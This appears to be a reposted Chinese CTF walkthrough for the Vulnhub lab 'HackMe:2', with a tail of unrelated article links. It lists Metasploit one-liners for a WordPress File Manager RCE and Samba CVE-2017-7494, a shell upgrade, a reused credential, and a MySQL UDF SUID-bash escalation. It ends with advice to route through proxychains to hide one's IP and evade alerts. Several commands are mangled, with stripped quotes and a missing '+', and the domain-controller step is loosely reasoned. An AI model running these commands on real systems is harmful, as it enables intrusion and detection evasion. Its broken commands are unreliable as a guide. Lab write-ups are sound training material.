首页/新闻资讯/正文详情

HackMe:2靶机渗透实战:从Web漏洞到域控提权

发布时间:2026/11/2 20:32:48 来源:云帆数科 栏目:资讯中心
HackMe:2靶机渗透实战:从Web漏洞到域控提权
1. 靶机环境概述HackMe:2是Vulnhub平台上发布的CTF风格渗透测试靶机属于从外网突破到内网提权的经典训练环境。这个靶机延续了第一代的Web应用漏洞主线新增了Active Directory域渗透场景适合有一定基础的渗透测试学习者巩固技能树。我使用VMware Workstation 16搭建实验环境攻击机为Kali Linux 2023.3与靶机处于同一NAT网络段192.168.136.0/24。靶机默认开放80、445等常见端口需要依次突破Web应用漏洞、权限维持、横向移动和域控提权四个阶段。2. 初始信息收集2.1 网络扫描与端口探测使用nmap进行全端口扫描的命令如下nmap -sS -p- -T4 192.168.136.132 -oN full_scan.nmap扫描结果显示开放端口80/tcp http 445/tcp microsoft-ds 3306/tcp mysql2.2 Web应用指纹识别访问80端口发现WordPress站点使用wpscan识别版本wpscan --url http://192.168.136.132 --enumerate p,t,u关键发现WordPress 5.7.1存在已知漏洞插件File Manager 6.0含RCE漏洞用户admin、editor存在弱密码风险3. 漏洞利用过程3.1 Web应用突破利用File Manager插件漏洞上传webshellmsfconsole -q -x use exploit/unix/webapp/wp_file_manager_rce; set RHOSTS 192.168.136.132; exploit成功获取www-data权限的reverse shell后立即升级为交互式终端python3 -c import pty; pty.spawn(/bin/bash)3.2 权限提升路径在/var/www/html/wp-config.php中发现数据库凭证define(DB_USER, wp_user); define(DB_PASSWORD, S3cur3PssW0rd!);通过MySQL UDF提权SELECT sys_exec(chmod s /bin/bash); /bin/bash -p4. 域环境渗透4.1 横向移动在/etc/samba/smb.conf发现域控制器信息workgroup HACKME server string %h server (Samba, Ubuntu)使用获取的密码尝试域用户枚举crackmapexec smb 192.168.136.133 -u wp_user -p S3cur3PssW0rd! --users4.2 域控提权利用Samba漏洞CVE-2017-7494msfconsole -q -x use exploit/linux/samba/is_known_pipename; set RHOSTS 192.168.136.133; set SMB_USER wp_user; set SMB_PASS S3cur3PssW0rd!; exploit5. 防御加固建议WordPress安全配置及时更新核心和插件版本禁用不必要的插件功能配置Web应用防火墙规则系统层防护禁用不必要的Samba共享配置AppArmor/SELinux策略定期审计SUID/SGID文件域环境安全实施最小权限原则启用LDAP签名/加密监控异常身份验证行为6. 常见问题排查无法获取反向shell检查防火墙规则iptables -L -n验证payload架构兼容性file /bin/bash尝试不同连接方式nc/meterpreter提权失败处理检查内核版本uname -a查找可写目录find / -writable -type d 2/dev/null尝试其他提权路径sudo -l, cron jobs域渗透受阻验证时间同步ntpdate -q检查DNS解析nslookup dc.hackme.local尝试其他协议LDAP/Kerberos实际渗透时建议全程使用代理链工具proxychains隐藏真实IP避免触发防御系统的报警机制。

相关推荐

DeepSeek Harness选型指南:自建还是用现成运行时框架
DeepSeek Harness选型指南:自建还是用现成运行时框架

最近团队在规划一个新的 Agent 项目,底层模型选定了 DeepSeek,API 便宜、上下文窗口够大、中文能力也扎实。项目推进到一半,大家开始争论一个问题:Agent 的执行调度、工具调用、任务状态管理这些“运行时”的东西,到底… · 2026/11/2 20:32:48

目标检测框架选型指南:YOLO、Faster RCNN与DETR实战对比
目标检测框架选型指南:YOLO、Faster RCNN与DETR实战对比

1. 三大目标检测框架的演进脉络与选型逻辑目标检测这个领域,过去十年基本就是一条主线:从“怎么把框画准”到“怎么把框画快”,再到“怎么不用手工画框”。RCNN、DETR、YOLO这三条技术路线,恰好代表了三种截然不同的解题哲学。我最… · 2026/11/2 20:32:48

DC-6靶机渗透实战:从WordPress漏洞到Root提权
DC-6靶机渗透实战:从WordPress漏洞到Root提权

1. DC-6靶机渗透概述DC-6是专为网络安全学习者设计的虚拟靶机环境,基于WordPress构建。这个靶机模拟了企业级CMS系统的典型漏洞链,包含从信息收集、漏洞利用到权限提升的完整攻击路径。作为CTF入门者向中级进阶的经典案例,它涵盖了Web渗透测试… · 2026/11/2 20:32:48

区域控制器架构设计:智能熔断、上集成与48V迁移的工程实践
区域控制器架构设计:智能熔断、上集成与48V迁移的工程实践

简介:这份2021年安波福域控制器白皮书面向汽车电子工程师、整车架构设计人员及智能网联方向的学习者,聚焦电子控制单元激增带来的线束复杂、I/O 膨胀与电气化功率需求演变等现实难题,系统阐述域控制器作为区域电源分配与数据连接枢纽的架构价… · 2026/11/3 20:15:47

CMT4522 GPIO应用手册:低功耗休眠唤醒与引脚配置避坑指南
CMT4522 GPIO应用手册:低功耗休眠唤醒与引脚配置避坑指南

简介:面向嵌入式硬件工程师与底层驱动开发者的CMT4522 GPIO应用笔记,聚焦GPIO工作模式与保护机制的工程落地,适合需要快速查阅寄存器行为、排查IO异常的中高级硬件人员。压缩包内为1份PDF文档,约612KB,内容涵盖特殊IO&… · 2026/11/3 20:15:47

HarmonyOS图像处理优化:高精度头像裁剪实践
HarmonyOS图像处理优化:高精度头像裁剪实践

1. HarmonyOS图像处理的技术背景与挑战HarmonyOS作为新一代智能终端操作系统,其图像处理能力直接关系到用户体验。在移动设备上实现高精度图像处理需要克服三大技术难点:内存限制、计算资源分配和实时性要求。与传统Android系统相比,HarmonyO… · 2026/11/3 20:15:47

模板错误消息优化:提升开发效率的关键技术
模板错误消息优化:提升开发效率的关键技术

1. 模板错误消息优化的核心价值 在各类软件系统和开发框架中,模板错误是最常见的报错类型之一。无论是前端模板引擎(如Jinja2、Thymeleaf)、文档模板(如Word/LaTeX),还是代码生成模板,当出现语法… · 2026/11/3 20:15:47

deepin 20 主力开发环境:选型、配置与排障实践
deepin 20 主力开发环境:选型、配置与排障实践

折腾开发环境这件事我有个不太主流的习惯:每换一次主力机,就顺手换一个发行版用上半年,把日常写代码、跑服务、调前端的那套流程重新走一遍。去年我把工作机的系统换成了deepin 20,一直用到现在,期间重构过两次工具链,也踩了不少只有长期当主力机用才会暴露的问题。这篇就聊聊把… · 2026/11/3 20:15:47

CodeBuddy:提升技术团队效能的智能协同平台
CodeBuddy:提升技术团队效能的智能协同平台

1. 项目概述:CodeBuddy的定位与核心价值 第一次听说CodeBuddy这个工具是在去年的一次技术沙龙上。当时团队正被多项目并行管理的混乱所困扰——需求文档散落在不同成员的硬盘里,代码版本频繁冲突,任务进度全靠微信群里的碎片化沟通。直到遇见… · 2026/11/3 20:14:46

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 6:04:24

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 5:52:46

STM32F411RE与MAX14431实现SPI隔离:工业现场抗共模干扰实战
STM32F411RE与MAX14431实现SPI隔离:工业现场抗共模干扰实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 1:01:59

ESP32+大模型AI硬件开发:从Demo到产品的8个工程问题
ESP32+大模型AI硬件开发:从Demo到产品的8个工程问题

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 1:01:59

基于MAX14431BAEE+与PIC18F85J10的SPI隔离方案设计与实践
基于MAX14431BAEE+与PIC18F85J10的SPI隔离方案设计与实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 1:01:59

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/2 13:10:28

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 6:04:24

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/3 5:52:46

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码